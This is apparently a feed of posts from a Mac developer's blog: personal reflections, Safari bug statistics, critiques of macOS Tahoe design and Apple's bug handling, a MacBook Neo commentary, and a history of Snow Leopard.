My online persona is greatly exaggerated. This is not to say that I greatly exaggerate my opinions. Rather, the exaggeration is due to selectivity. What you see online is only a small part of me. Believe it or not, I don’t bring my whole self to work. I’m playing to an audience online, playing a role, though the role is myself. The actors in TV shows and films who play themselves, as opposed to a fictional character, are still presenting a non-representative picture of their lives, because the portrayal has to be entertaining. Audiences don’t want to see the boring bits. Similarly, I tend to post things online that might excite my followers, not things that would bore them. In that way, I may be more self-conscious than some other people online, who post whatever they feel like, regardless of whether anyone else is interested. It’s funny, I’m puzzled by the people on social media who have practically no followers yet boost my posts into their nearly empty feed; it seems so futile.

I’m not the kind of person who habitually shares their life story to random strangers on a bus, or on the internet. That’s a valid way to live, but it’s not me. I generally prefer to keep my personal life private, sharing only with those I know and trust. Although opening up more may help to “humanize” me, I don’t think I should have to prove that I’m a human online, not even to CAPTCHAs. I was formerly known as someone who loved cats, talked about them constantly, and posted cat photos, hence the domain name of this website. Ironically, the cats may have humanized me a bit. I chose not to post about the loss (euphemism) of my cats over the years, who were like children to me, and how I was devastated, ultimately to the point where I could no longer bear to go through that ever again in the future. Nobody should outlive their children. I mean no offense when I admit that I feel no comfort from online condolences, so I did not solicit them, nor do I wish for them now. The stream of “I’m sorry” from people you’ve never met seems so pro forma to me. Saying “hugs” online is no substitute for real hugs. These people aren’t here for me when I need them, and of course I don’t expect them to be here. That’s not their role in my life. I do appreciate my followers in other ways and am grateful that they promote me and my software.

Cats are a popular subject online. I had an interest that others were interested in too. You may not realize that the attention incentives are always operating, if only subliminally. I was lucky to have something “positive” to share. A common criticism of me is that I’m too negative, implicitly assuming that criticism is a negative, which I don’t agree with and find hypocritical, because my critics seemingly exempt themselves from their own labeling. I think that positive and negative, with regard to online posting, is a false dichotomy, and the demand that I be more positive reminds me of the noxious “fair and balanced” motto of FOX News. Moreover, my tastes tend to differ from those of my followers. Some people think I hate everything, but that’s absurd. I would enjoy talking more about my interests online. When I’ve tried, unfortunately it’s fallen flat. I’m met with the internet equivalent of a blank stare. This is partly due to the demographics of my following, overwhelmingly people interested in computers: software developers, tech industry workers, and tech enthusiasts. Again, my career is the reason I post online, so it’s no surprise that my followers are connected to me in that way.

As a kid, I had more stereotypical “computer nerd” interests, such as science fiction and comic books. I continue to be surprised by the undying, obsessive public interest among adults, indeed adults my age, with the popular culture of my youth: Star Trek, Star Wars, Dune, Marvel, etc. Although I haven’t turned against those interests, which still hold a fond place in my heart, I’ve largely turned away from them. To be honest, I became bored with them. They feel limiting to me now. How many sequels, prequels, remakes, and reboots can you consume? At this point, these popular franchises have mostly outlived their originators, so they live on only as the intellectual property of soulless corporations maximizing profit. I think it would be fitting if the works were buried along with the authors, like the ancient pharaohs. (Sometimes I think that Apple should have been buried along with Steve Jobs.)

I just finished reading “Heart the Lover” by Lily King. (I had previously read “Writers & Lovers” by King.) The book is actually a New York Times best seller, but it’s not the type of book that my online community usually reads. I haven’t seen anyone else talk about the film “Jay Kelly,” starring George Clooney, which I recently enjoyed on Netflix. It’s less obscure than many films I watch, such as “The French Italian” and “His Three Daughters,” both recommended by me FWIW. So yes, I like things. However, if my followers don’t like those things, then I’m not going to post about them, as if it were my duty, to prove that I’m human, to be more “positive,” to make my online persona fair and balanced. If I’m unfair and unbalanced, I blame society for providing me with the attention and perverse incentives. ;-)

]]>
Safari web browser bugs: A year in review https://lapcatsoftware.com/articles/2026/3/6.html 2026-03-12T19:30:00Z 2026-03-12T19:30:00Z 68 of my WebKit Bugzilla reports were opened or changed in 2025, which you can see if you click the previous link, though you might see only 67 reports in the list, because one security bug is still not publicly accessible. 66 of those 68 reports were newly opened by me in 2025. Two reports that changed in 2025 were opened by me in 2024, one of which was fixed in 2025, and while a number of bugs I reported in 2025 were fixed in 2025—the number to be presented shortly—no bugs that I reported in 2025 have been fixed in 2026 so far. (I get the impression that Apple fixes bugs either relatively quickly or effectively never.) Two of the 66 reports I filed in 2025 were issues with the Bugzilla bug reporter itself, one was a duplicate of another report I filed in 2025, and one was closed and re-filed with Apple Feedback Assistant, thereby leaving 62 new Safari bug reports in the WebKit Bugzilla. Of those 62, I estimate that 24 have been fixed. In a few cases it’s not entirely clear whether the bug was fixed, and the Bugzilla status is not always indicative, but 24 is surely very close if not the exact number. Adding the one aforementioned bug fixed in 2025 that I reported in 2024 makes 25 of my Safari bug reports from the WebKit Bugzilla fixed in 2025.

As for Feedback Assistant, 28 of my Safari-related reports were opened or changed in 2025, which unfortunately you can’t see, because that bug reporting system is closed:

Radar 7851114 Provide a public, searchable bug database

6 of those 28 reports were feature requests, so I’ll set them aside for our purposes here. Of the 22 bug reports, 20 were newly opened by me in 2025. Two bugs reported by me in December 2024 were fixed by Apple in 2025. I estimate that 8 of my 20 new bug reports in Feedback Assistant were fixed by Apple in 2025, amounting to 10 total Safari bugs fixed.

Combining the numbers from the two bug reporting systems, I filed 82 new Safari bug reports in 2025, about 32 of which were fixed by Apple, along with 3 bug reports from late 2024 fixed by Apple in 2025. That leaves about 50 new Safari bugs I found in 2025 that have not been fixed by Apple as of today.

I have no idea how many of the 50 unfixed bugs were newly introduced into Safari in 2025. However, almost all of those 50 bugs were first discovered in 2025 by me! Admittedly, I’m a prolific finder of Safari bugs as a professional Safari extension developer. On the other hand, I don’t intentionally hunt for Safari bugs and have never received any money from Apple in bug bounties. The bugs just present themselves to me, or to my customers, who report the bugs to me, sometimes blaming my Safari extensions for those bugs. I also find nascent Safari bug reports from others by browsing Reddit; I think Apple employees should spend more time following Reddit!

Of course my bug reports are not a representative sample of all Safari bugs. However, from my own perspective, Safari software quality appears to getting worse over time. The number of unfixed bugs that I’m aware of has been increasing, and the rate at which Apple fixes my bug reports is significantly lower than the rate at which I discover new Safari bugs. Apple is certainly not ignoring my Safari bug reports: around 40% of the bugs I reported in 2025 were fixed in 2025. Nonetheless, 60% were not fixed, and older bug reports—I have plenty from 2024 and earlier—are rarely addressed later.

]]>
If computers are the future, why are computer users expected to be permanently illiterate? https://lapcatsoftware.com/articles/2026/3/5.html 2026-03-11T19:00:00Z 2026-03-11T19:15:00Z I was introduced to computers by my father, though not intentionally. Now retired, my father worked in sales and was assigned a local territory within which he traveled by car to meet with customers. It made more sense for him to keep an office in our home and travel from there instead of first commuting to an office building and then traveling. For his home office, my father purchased an Apple II+ computer in order to run the “killer app” at the time, the spreadsheet program VisiCalc. He also purchased a modem to connect his computer to the company’s computers. I was fascinated by the Apple II+ and taught myself how to use it, with no prompting from my father. In fact, he became quite annoyed when I monopolized our family’s only telephone line connecting to Bulletin Board Systems via the modem. In retrospect, I don’t know why I wasn’t forbidden from using the computer, but my parents did frequently implore me to get off the computer and go outside.

Nowadays the macOS Terminal app is considered a tool only for “power users” (which I would contrast with disempowered users), but the Apple II+ was essentially and entirely the Terminal app, with no other user interface. My contention is that if an adult with no college degree (my dad) and a kid with no high school degree (me at the time) could learn how to use an Apple II+ and become power users, then this skill is well within the capabilities of so-called “ordinary people.” We didn’t have an alternative, because the Macintosh with its graphical user interface and mouse had not been invented yet, and needless to say, neither had the iPhone.

Steve Jobs promulgated the metaphor that a computer is a bicycle for the mind. A bicycle is a tool that enables us to vastly exceed our natural capabilities, to travel much faster and farther than our legs alone would allow. Likewise, a computer is a tool that enables us to vastly exceed the natural capabilities of our minds unassisted by computers. A computer supposed to help us “Think Different,” according to the marketing slogan. I would note that if we take the bicycle metaphor seriously, it’s not a demand for utter simplicity, the dumbing down of computers. Riding a bicycle is a learned skill that requires significant practice. I vaguely recall learning how to ride a bike as a kid. I distinctly recall falling over repeatedly. If I recall correctly, my parents started me riding on the grass to cushion my falls. A method does exist to make riding a bike easier for kids: training wheels. However, training wheels restrain you as much as they help you, greatly limiting what you can do with the bike. Permanent training wheels would be ridiculous infantilization. Several months ago while on a walk around my neighborhood—my smartphone deliberately left at home, by the way, a refreshing throwback to my past without such a security blanket—I came upon a heartbreaking sight that stuck with me: a kid too old for training wheels riding a bike with training wheels while looking down at a smartphone. Truly a symbol of our times.

At best, vendor lockdown of our computers is equivalent to training wheels for the mind. At worst, it’s equivalent to a bicycle lock for the mind. We’re told constantly that computers are the future, both the future of work and the future of personal efficiency, yet the computer vendors seem intent on keeping users in a state of permanent illiteracy. The term “power user” has become almost a slur, as if power users were abnormal in some way rather than simply possessing knowledge about computers, a normal consequence of experience with computers… unless the computers provide no room for personal growth. It’s alleged that power users make unreasonable demands on the computer vendors, demands that if satisfied would ruin the computing world for everyone else. What ordinary people need, indeed what they deserve, according to the computer vendors, is protection, safety, paternalism, as if we were all children and the giant for-profit tech corporations the only adults in the room (never mind that those corporations tend to be populated disproportionately by 20something engineers).

The justification for computer lockdown, or should I say the propaganda for computer lockdown, posits a false dichotomy between computers for the unwashed masses and computers for the few power users. Typically this false dichotomy is framed in terms of mobile vs. desktop computing: a smartphone needs to be “simple,” for ordinary users, whereas a desktop computer is allowed to be more complex, also providing power users with broader personal leeway. I’ve always felt that the argument here belied a critical underlying economic component. The reason the dichotomy is false is that smartphones and desktop computers are not inherently competing products. Every desktop computer owner who I know, including myself of course, has a smartphone too! I’m fortunate enough to afford both. I didn’t buy an iPhone because it’s simpler than my Mac; I bought an iPhone because I can carry it in my pocket, use it in my hand while standing, and connect to the internet from anywhere via a cellular network. In contrast, my MacBook Pro presents a number of physical limitations: I can’t transport it conveniently without wearing a backpack, can’t use it without a flat surface such as a desk, table, or my sitting lap, and can’t connect to the internet without a nearby, available Wi-Fi network. In most other respects, though, I find the Mac much easier to use than the iPhone, due to the hardware keyboard, larger screen, and superior operating system.

Initially, smartphones were subsidized by cellular carrier contracts, lowering the price of smartphones and thereby encouraging widespread adoption. Desktop computers never had such subsidies. You might even say that smartphones were pushed like a drug, getting users addicted, then eventually raising the price. In any case, if a person can afford only one computing device, the choice is usually a smartphone, both for the convenience factors mentioned above and also for the lower price. According to the Apple quarterly financial results from Q4 2018, unfortunately the last time that Apple reported unit sales in addition to revenue, the Average Selling Price of Mac was $1399, iPhone $793, and iPad $422. I focus on Apple because I’m a longtime Apple customer, but I would guess that the overall markets for desktops, smartphones, and tablets break down in a similar way. The price of entry is typically higher to the desktop computing world than to the mobile computing world. Personal computing freedom ain’t for free. From my perspective, the argument that mobile devices need to be locked down for the masses is in effect discrimination by wealth: computing freedom for the affluent, computing prison for the poor.

As a Mac OS X enthusiast (you can read into this my lack of enthusiasm for macOS), I’m certainly not opposed to graphical user interfaces or non-keyboard, pointer-based inputs. On the contrary, I prefer them! On the other hand, I do not prefer to be restricted severely in my computer usage. I want direct access to the file system, access to the terminal, root access, the choice to install and run whatever software I please on the computer I purchased and own. At its heart, Mac OS X was, more or less, UNIX, a selling point for me. The Mac used to be designed according to the principle of progressive disclosure: the system presented a default interface that was as simple as possible for inexperienced users but nonetheless allowed much greater configuration by expert users, with options initially hidden becoming available when needed. Since the iPhone was introduced, however, Apple has progressively locked down and dumbed down the Mac step by step, making the Mac more like the iPhone and iPad over the years. Apple even took advantage of the processor transition away from Intel to lock down the Mac hardware in ways similar to iOS hardware. The price of faster, energy-efficient Apple silicon CPUs was a host of new restrictions, especially on how the Mac handles internal and external disks.

The iPhone seems to have engendered a culture of anti-intellectualism and learned helplessness so pervasive that users have become evangelists for their own disempowerment. They demand that all software be “intuitive,” by which they mean idiot-proof, so simple that a n00b can use the software effortlessly and effectively. A suggestion to read the fine manual is greeted with charges of user hostility. Those who habitually, endlessly scroll YouTube or social media would balk at investing a little time to master the computing tools they use daily. Perhaps they would be surprised to learn that the supposedly intuitive 1984 Macintosh came with 170 page manual. A common conceit is that the Mac was easier to use than other computers out of the box; the reality is that the Mac was easier to use after the initial learning curve. The system went out of its way to establish internal consistency and interoperability, but the user first had to make sense of the system and its principles.

The latest front in the war against power users is Artificial Intelligence. The promise of AI appears to be that you’ll never have to learn anything. Don’t know something? Just ask AI for the answer. Can’t do something? Just ask AI to do it. Ignorance is bliss. Laziness is encouraged in the name of efficiency. The prospect that one may have to work and struggle to achieve one’s goals is considered abhorrent. The very notion of self-improvement becomes obsolete. Life under AI is a video game, pure joy… as long as you continue inserting tokens into the machine. Hopefully my video arcade metaphor hasn’t become obsolete too. A more contemporary example: playing guitar, which practically anyone can do with practice, is replaced entirely by playing Guitar Hero. I’m sure that there are Guitar Hero heroes, people who have mastered the game, but could a single one of them ever write a song? I guess we have to ask AI to write our songs in the future. The public debates whether AI will eventually become as intelligent as humans, or even super-intelligent, when I think the relevant question is whether humans will eventually become as dumb as AI, or even super-dumb, as in Idiocracy. I fear that none of this will end well, except for the computer and LLM vendors.

]]>
The evolution of Mac app window corners https://lapcatsoftware.com/articles/2026/3/4.html 2026-03-10T14:40:00Z 2026-03-10T14:40:00Z This is a follow-up to my recent blog post macOS Tahoe windows have different corner radiuses. I’ll start by noting that Apple goes into more detail about the new Tahoe design in the WWDC 2025 session video Build an AppKit app with the new design:

The floating sidebar, along with the toolbar, demonstrate a key element of the new design system: concentricity. Each element is designed with a curvature that sits neatly within the corner radius of its container, in this case the window itself. And this relationship goes both ways. In the new design system, windows now have a softer, more generous corner radius, which varies based on the style of window. Windows with toolbars now use a larger radius, which is designed to wrap concentrically around the glass toolbar elements, scaling to match the size of the toolbar. Titlebar-only windows retain a smaller corner radius, wrapping compactly around the window controls. These larger corners provide a softer feel and elegant concentricity to the window but they can also clip content that sits close to the edge of the window. To position content that nests into a corner, use the new NSView LayoutRegion API.

I hadn’t seen this video, because I rarely watch WWDC session videos, which I consider a waste of my time and a poor substitute for written documentation. Moreover, I had no specific interest in building an app with the new design. Anyway, you can find more of an explanation of the design in the video, though I would characterize “a softer feel and elegant concentricity” as nonsense. At least Apple admits to one problem: clipping.

For the rest of this blog post, I’ll borrow screenshots from a wonderful resource, the macOS Screenshot Library. Hopefully that’s ok! I found no terms of use. All credit goes to Stephen Hackett of 512 Pixels. I’ll focus on Mac OS X and later, because that’s been my personal focus. I’ve used a Mac (or an Apple II) at various times since the 1980s, but I did not own a Mac and become a full-time Mac user until the 21st century. The original Macintosh OS included Desk Accessories, some of which such as Calculator had rounded window corners.

Mac OS Desk Accessories

In my previous blog post, I chose Calculator app to illustrate the different corner radiuses only because Calculator has a very small window, which allowed me to post a small screenshot for those reading on a phone screen. In other ways, Calculator was admittedly a poor choice, because the Calculator window is not resizable and not the kind of window you would usually position in a corner of your screen. I think a more fanciful window design is more appropriate for a widget-style app than for a document-style app. Thus, in this blog post I’ll look at the prototypical document-style app, TextEdit. Below is TextEdit from Mac OS X 10.0 Cheetah.

TextEdit on Cheetah

Notice that while the top of the window has rounded corners, the bottom of the window does not! This same basic design continued through Mac OS X 10.6 Snow Leopard, shown below.

TextEdit on Snow Leopard

Notice also that the toolbar is entirely separate from the window titlebar at the top with the traffic light buttons. The window did not yet have a “unified” design, combining the titlebar and toolbar. I think the old design was superior to the latest design for several reasons, one of which is that the ample space at the top allowed easier dragging of windows around the screen.

TextEdit on Mac OS X 10.7 Lion, shown below, was the first version to have rounded corners at the bottom of the window in addition to the top. This version also eliminated the visual distinction between the titlebar and the toolbar.

TextEdit on Lion

Like Tahoe, Lion was much maligned when introduced. Critics (including myself) felt that Apple went overboard bringing iPhone features to the Mac, marketed as “Back to the Mac.” You can also see that Lion eliminated the always-visible scrollbars. I agree with John Gruber about this: “One can argue with the logic behind these changes, 15 years ago. I’ll repeat that I think it was a grave error to make scroll bars invisible by default.”

TextEdit continued with the same basic design, more or less, until macOS 11 Big Sur, which decided to blur the distinction between the document and the toolbar, as well as between the toolbar and the background.

TextEdit on Big Sur

Last, and least, we have Tahoe. The window corners are a little more rounded, and for some damn reason, the window title is now left-aligned.

TextEdit on Tahoe

If you compare with the Cheetah screenshot, you can see what we’ve lost.

The so-called “logic” of the Tahoe design changes make no sense to me, because the concentricity of the window is matched to the elements at the top of the window, but the same corner radius is applied to the bottom of the window, where the concentricity does not match any elements and may indeed clip the elements. Ironically, Apple claims as one of its goals to emphasize the content and deemphasize the controls, so in this respect, Liquid Glass is an utter failure. The early Mac OS X screenshots wake us from our dogmatic slumber and undermine the unexamined assumption that every window corner needs to look the same.

I would be remiss if I neglected to mention the “metal” style of window that goes all the way back to iTunes on Mac OS X 10.1 Puma, increasingly adopted by other apps in subsequent OS X versions.

iTunes on Puma

The iTunes window always had rounded corners at the top and bottom. However, iTunes also had a kind of toolbar at the bottom of the window, as well as a resizing gripper in the bottom right corner, which provides perhaps some justification for the choice. I think it’s unfortunate that iTunes became a model for future apps, because iTunes, originally Carbon rather than Cocoa, was always one of the worst designed apps on the Mac, and its horrible nonstandard preferences window with Cancel and OK buttons in place of traffic lights has somehow survived into the present, continuing to plague us in the equally awful Music app.

]]>
MacBook Neo https://lapcatsoftware.com/articles/2026/3/3.html 2026-03-06T17:10:00Z 2026-03-06T17:10:00Z I don’t normally review products that I have not purchased and have never touched. However, I feel that MacBook Neo is worthy of comment, because it has the potential to be one of the most important Macs in history. I say this without intention to exaggerate. Although MacBook Neo is a subpar Mac technically, due to a number of design compromises, a Mac that I would never purchase for myself, its price is unprecedented, the least expensive laptop that Apple has ever produced. MacBook Neo is an entry-level machine that could bring many, perhaps millions of new customers to the Mac platform who previously found Macs to be out of their price range. From my admittedly self-centered perspective as a Mac developer, I consider MacBook Neo a welcome addition to Apple’s product lineup, and while I may quibble about some design compromises, I don’t consider them fatal, and I recognize Apple’s difficulty in pushing down the cost of the machine. I just hope that price-conscious MacBook Neo buyers are not total cheapskates in paying for third-party software…

1. Naming

Of course my first thought was of The Matrix. MacBook Morpheus, anyone? My opinion is that MacBook Neo is a dumb name that won’t age well. The prefix neo, used by Apple as a suffix, literally means “new.” So the new MacBook is effectively named MacBook New. How imaginative! The problem is that MacBook Neo, if the product lasts, will remain new for only a short time. In five years, will it still be called Neo? Does that make sense?

Before MacBook Neo, Apple laptop naming made sense: MacBook Air and MacBook Pro. The “Air” part seemed unnecessary, redundant, and Apple could have called it simply “MacBook,” a name Apple has used in the past, but in any case there was a clear distinction between the pro and non-pro models. Now there’s Air, Neo, and Pro, which is confusing. Worse, the 13-inch MacBook Air is the same weight as MacBook Neo, which belies the “Air” label. MacBook naming has become almost as bad as iPad naming, which I’ll never understand. iPad, iPad Air, iPad mini, and iPad Pro? WTF do those even mean? The names are practically useless to consumers.

2. Pricing

$599 USD, $499 USD for education. I have no complaints. I’m not an expert about the overall market, but the MacBook Neo price seems quite competitive to me.

3. Specs

The base model MacBook Neo has only 8 GB of RAM, which has drawn some criticism, but my M1 Mac mini has only 8 GB of RAM, and its performance always seemed fine, so I don’t think the specs will be a problem for consumers. The people who talk about running memory-hungry developer tools such as Xcode on a MacBook Neo are missing the point: this Mac is not for you! There is a laptop for you, clearly identified by the “Pro” in its name.

Touch ID is $100 extra. I think Touch ID is nice to have but not essential, so if Touch ID truly costs that much for Apple to add, the design compromise for a lower price is justified. On the other hand, macOS and Apple services have far too many password prompts nowadays. I wish that Apple would do something to remedy that situation, which reminds one of when Apple’s “Get a Mac” ads ridiculed Windows Vista for permission requests.

MacBook Neo has two USB ports, one USB 3 and the other USB 2. By itself, that’s an acceptable compromise for a bargain-basement laptop. Unfortunately, the ports are not labeled and look identical. That’s unacceptable. How much could it cost Apple to label the ports in some way?? I’m still peeved about the confusing DFU port situation that affects external disks plugged into my MacBook Pro.

4. Software

Tahoe is a terrible introduction to the Mac platform, a demonstration of how not to design a user interface. I’ve already criticized macOS Tahoe and Liquid Glass, which I’ve unfondly nicknamed Liquid Crass, multiple times on this blog. I can’t imagine that blurry text and controls are a selling point for Macs on a showroom floor. I used to recommend buying a Mac to everyone, but now I’m almost embarrassed about that; I don’t want to be called on to justify my previous recommendations. Potential switchers must roll their eyes and wonder what we were fussing about all along.

5. iPad

I’ve never been a fan of iPad, because it runs the same vendor-locked anti-consumer operating system as iPhone. I do sell software for iPhone and iPad, which is roughly half my total income, so I did buy an iPad for testing my software—a plain “iPad,” the cheapest model—but I rarely have a personal use for iPad, except reading the occasional ebook (I prefer paper books). MacBook Neo, with a dramatically lower price, has the potential to cut into the iPad market, particularly for iPad Pro, and as far as I’m concerned, that would be a positive result.

Apple stopped reporting unit sales in its quarterly financial results way back in 2019. The last unit sales figures we have, from Q4 2018, showed that the Average Selling Price was $422 for iPad and $1399 for Mac, a huge difference that was undoubtedly a factor in the iPad’s popularity, 1.8x the unit sales of Mac. Bringing down the ASP of Mac should help the Mac compete not only externally with Windows laptops but also internally with iPads.

]]>
Investigation complete - Unable to diagnose with current information https://lapcatsoftware.com/articles/2026/3/2.html 2026-03-05T17:50:00Z 2026-03-05T17:50:00Z A week ago I filed a bug report about Safari with Apple’s Feedback Assistant: (FB22057274) Pinned tabs: slow-loading target="_blank" links appear in the wrong tab. Apple has marked the “Resolution” of this bug report as “Investigation complete - Unable to diagnose with current information.” I was not notified by Apple that the investigation was complete, nor did Apple ask me for more information. Instead, Apple chose to toss my bug report into a virtual trash bin, or black hole.

It is rumored that the next major version of macOS will be a bug fix release, “another Snow Leopard.” Never mind that Snow Leopard was not actually a bug fix release. In any case, don’t believe the rumors. We’ve heard this kind of story before, and it amounted to nothing. By word and action—more accurately, inaction—Apple makes painfully clear its lack of commitment to software quality. If you’ve followed my blog, you may be aware that this is not the first time I’ve encountered “Investigation complete - Unable to diagnose with current information.” It appears to be standard practice. I have to assume that Apple engineers are incentivized by leadership to close bug reports, probably due to some perverse performance metric. If Apple is casually dismissing bug reports, what reason is there to believe that Apple is working on a major bug fix release? WWDC and presumably macOS 27 are coming in three months.

Back to my feedback, although I certainly don’t claim that the bug is the most important in the world, I do claim that the bug is 100% reproducible. I honestly don’t know what additional information Apple needs to diagnose it. I included not only steps to reproduce but also multiple screen recordings to illustrate. I have a suspicion that Apple did not even read my bug report, because I did not attach a sysdiagnose report. But a privacy-violating sysdiagnose would not be useful in this case! Anyway, here’s the description of the bug:

If you have a pinned tab with a web page with a target="_blank" link, and the link URL is slow to load, then the address bar shows the new URL loading in the pinned tab instead of a new tab.

This bug doesn't occur if you command-shift-click a link to open the link in a new tab in the foreground, of if the original tab is not pinned.

See the attached screen recordings. The "unpinned" video show the unpinned behavior, the "command-shift-click" video shows the behavior with a pinned tab and command-shift-click, and the "target-blank" video shows the behavior with a pinned tab and target="_blank"

The attached "index.html" file is the HTML source of the pinned tab in the videos.

I used Little Snitch with an "Ask" rule for example.org to simulate a slow-loading web page.

The "index.html" file included this simple code for two links:

<p><a href="https://example.org">command-shift-click to open in a new tab</a></p>

<p><a href="https://example.org" target="_blank">click to open in a new tab</a></p>

command-shift-click to open in a new tab

click to open in a new tab

The "target-blank" video shows the bug. Notice that when example.org is loading, the pinned tab is still selected, but the address bar incorrectly shows example.org.

The "command-shift-click" video shows that the bug does not occur with command-shift-click, because that instantly creates and selects a new tab.

The "unpinned" video shows that the bug does not occur with an unpinned tab. Like with command-shift-click, but unlike with a pinned tab, clicking a target="_blank" link in an unpinned tab instantly creates and selects a new tab.

The only trick in my bug report is that I used Little Snitch to simulate a slow loading link. This was just the easiest way I could think of to reliably reproduce the bug. There are of course other ways to simulate a slow loading link; if Apple Safari engineers of all people somehow can’t figure that out, then they aren’t qualified for their jobs. Again, however, the more likely explanation is that my feedback was ignored because it did not include a pro forma sysdiagnose, but who knows, because Apple did not request more information of any kind from me.

]]>
macOS Tahoe windows have different corner radiuses https://lapcatsoftware.com/articles/2026/3/1.html 2026-03-04T20:00:00Z 2026-03-04T20:00:00Z I’m sometimes late to notice new and terrible things about macOS 26 Tahoe, because I use it only for testing, on a secondary Mac. My main Mac remains on Sequoia, as enforced by Little Snitch. I was of course aware that app windows on Tahoe have exaggerated corner radiuses, but I was unaware until now that the window corner radius on Tahoe is not uniform: different windows can have different corner radiuses!

Below is a TextEdit window on Tahoe.

TextEdit window in front of Calculator window

And below is a Calculator window in front of the TextEdit window. Notice the corners of the TextEdit window sticking out!

Calculator window in front of TextEdit window

What accounts for the difference? A toolbar in the window.

In a new Mac app Xcode project, the main window has a less exaggerated corner radius by default, like TextEdit.

window without toolbar

When I add a toolbar to the window, the corner radius automatically becomes more exaggerated, like Calculator.

window with toolbar

That’s it. Seriously.

Apparently the corner radius also changes on Tahoe for some other window elements, such as a sidebar.

If this isn’t the stupidest user interface “feature” ever invented, I don’t know what is. The Mac used to be famous for consistency; now it’s becoming infamous for inconsistency.

By the way, Tahoe’s UI changes are perplexing not only for Apple users but also for Apple engineers. Here’s a bug fix from the open source WebKit browser engine powering Safari: [macOS] Scroll bars of root scroller may be cutoff due to corner radii of window.

]]>
The myth and reality of Mac OS X Snow Leopard revisited https://lapcatsoftware.com/articles/2026/2/5.html 2026-02-17T14:45:00Z 2026-02-17T14:45:00Z The next major version of macOS, presumably to be released in fall ’26 and numbered 27, thanks to Apple’s "crack naming team,” who are high on crack, is rumored to be “another Snow Leopard,” inspiring considerable hope and relief among Mac users. Perhaps the rumor is true, but I think the optimism is misplaced, because the historical reality of Snow Leopard was much different than the mythical status it subsequently achieved, as I argued a few years ago in my blog post The myth and reality of Mac OS X Snow Leopard:

Snow Leopard was not a bug fix release. In fact, Snow Leopard was quite buggy, and Mac OS X 10.6.0 was certainly much buggier than Mac OS X 10.5.8, released a few weeks prior.

When you look back fondly at Snow Leopard, I suspect that you're not remembering version 10.6.0 but rather version 10.6.8 v1.1, which was released almost two years after 10.6.0.

It's an iron law of software development that major updates always introduce more bugs than they fix.

No major update will solve Apple's quality issues. Major updates are the cause of quality issues. The solution would be a long string of minor bug fix updates.

In addition to those crucial quotes, I’ll reproduce part of the Mac OS X timeline from that blog post:

VersionNameRelease dateMonths since previous .0
10.1.0PumaSeptember 25, 20016
10.2.0JaguarAugust 23, 200211
10.3.0PantherOctober 24, 200314
10.4.0TigerApril 29, 200518
10.5.0LeopardOctober 26, 200730 (delayed due to iPhone)
10.6.0Snow LeopardAugust 28, 200922
10.7.0LionJuly 19, 201123
10.8.0Mountain LionJuly 25, 201212
10.9.0MavericksOctober 22, 201315
10.10.0YosemiteOctober 16, 201412

Let’s analyze the amount of time it took Apple to produce 3 new major Mac releases. From Mac OS X 10.1.0 to 10.4.0 was 43 months, or 3.6 years, and from 10.7.0 to 10.10.0 was 39 months, or 3.25 years, roughly the same as before. In stark contrast, from 10.4.0 to 10.7.0 was 75 months, or 6.25 years, a massive difference, the amount of time almost doubled!

Note the parenthetical remark in the table entry for Leopard, “delayed due to iPhone.” This was explicitly admitted by Apple in a press release on April 12, 2007 (archived):

iPhone has already passed several of its required certification tests and is on schedule to ship in late June as planned. We can't wait until customers get their hands (and fingers) on it and experience what a revolutionary and magical product it is. However, iPhone contains the most sophisticated software ever shipped on a mobile device, and finishing it on time has not come without a price -- we had to borrow some key software engineering and QA resources from our Mac OS® X team, and as a result we will not be able to release Leopard at our Worldwide Developers Conference in early June as planned. While Leopard's features will be complete by then, we cannot deliver the quality release that we and our customers expect from us. We now plan to show our developers a near final version of Leopard at the conference, give them a beta copy to take home so they can do their final testing, and ship Leopard in October. We think it will be well worth the wait. Life often presents tradeoffs, and in this case we're sure we've made the right ones.

Thus, it’s indisputable that iPhone had a significant effect on Leopard. Strangely, nobody appears to acknowledge that iPhone may have had a significant effect on Snow Leopard too. Apple (in)famously promoted Snow Leopard as having “0 New Features.” Although this was clearly a joking exaggeration, the joke had a grain of truth, reflecting the limited scope of Snow Leopard compared to its predecessors such as Leopard and Tiger. No joke was Snow Leopard’s price discount: $29 compared to $129 for Leopard or Tiger. Many people assume that Snow Leopard had 0 new features because Apple was working instead on countless bug fixes, as if features vs. bug fixes were the only possible tradeoff. But Apple’s PR mentions a different tradeoff. What if Snow Leopard had 0 new features because Apple was working instead on iPhone—and iPad! After Apple released iPhone, the company did not simply rest on its laurels. It pushed ahead, not only on iPhone, which was becoming a huge hit, ultimately to overshadow the Mac, but also on a new product, iPad, released in April 2010. Does anyone believe that the key software engineering and QA resources “borrowed” from the Mac OS X team were all promptly returned, like a library book? I don’t believe it; I suspect that “stolen” would be the more accurate term. Due to iPhone, Leopard did not deliver on its promise. Snow Leopard did deliver, because it promised… literally nothing.

In October 2010, Apple held a Back to the Mac event preannouncing Mac OS X Lion.

Steve Jobs Back to the Mac.
Credit: all about Steve Jobs.com

Back to the Mac was a double entendre: on the one hand, it meant that Apple was bringing iPad features to the Mac, much to the consternation of myself and many other Mac users.

Steve Jobs X meets iPad

On the other hand, Back to the Mac was a subtle recognition that Apple was focusing on the Mac again after shortchanging it to focus on iPhone and iPad.

Apple admitted the effects of iPhone and iPad on both Leopard and Lion, so why will we not admit the effects of iPhone and iPad on Snow Leopard, the release between those two? Snow Leopard was not a bug fix release. On the contrary, I think it was primarily a placeholder, a way for Apple to show, while their focus was elsewhere, that the Mac was not entirely dead. To reiterate the point from my earlier blog post:

When people wistfully proclaim that they wish for the next major macOS version to be a "Snow Leopard update", they're wishing for the wrong thing.

I suspect that Apple’s focus may be an issue again, with the next major “27” updates. What Apple seems to care about most now is Apple Intelligence and fixing Siri, an embarrassment to Apple for several reasons: Siri sucks, Apple is seen by many critics as having fallen behind competitors, and Apple has not yet delivered on its public promises regarding Apple Intelligence. This may be considered by Apple to be another all hands on deck moment, betting on the future of the company, like the release of iPhone.

Sadly, I see no reason to believe that Apple has suddenly started to care again about software quality. The new year-based operating system numbering scheme is an overt sign and painful reminder to me that Apple has no intention to end the self-enforced yearly major OS update release schedule that is a primary cause of Apple’s software quality problems. What I liked about the Snow Leopard era, and what I think everyone liked about it, was the unusually long period after major releases when we received mostly minor bug fix releases, slowly improving the quality of the operating system, avoiding big disruptions. In that sense, we will never have another Snow Leopard, because the future is annual major updates.

]]>
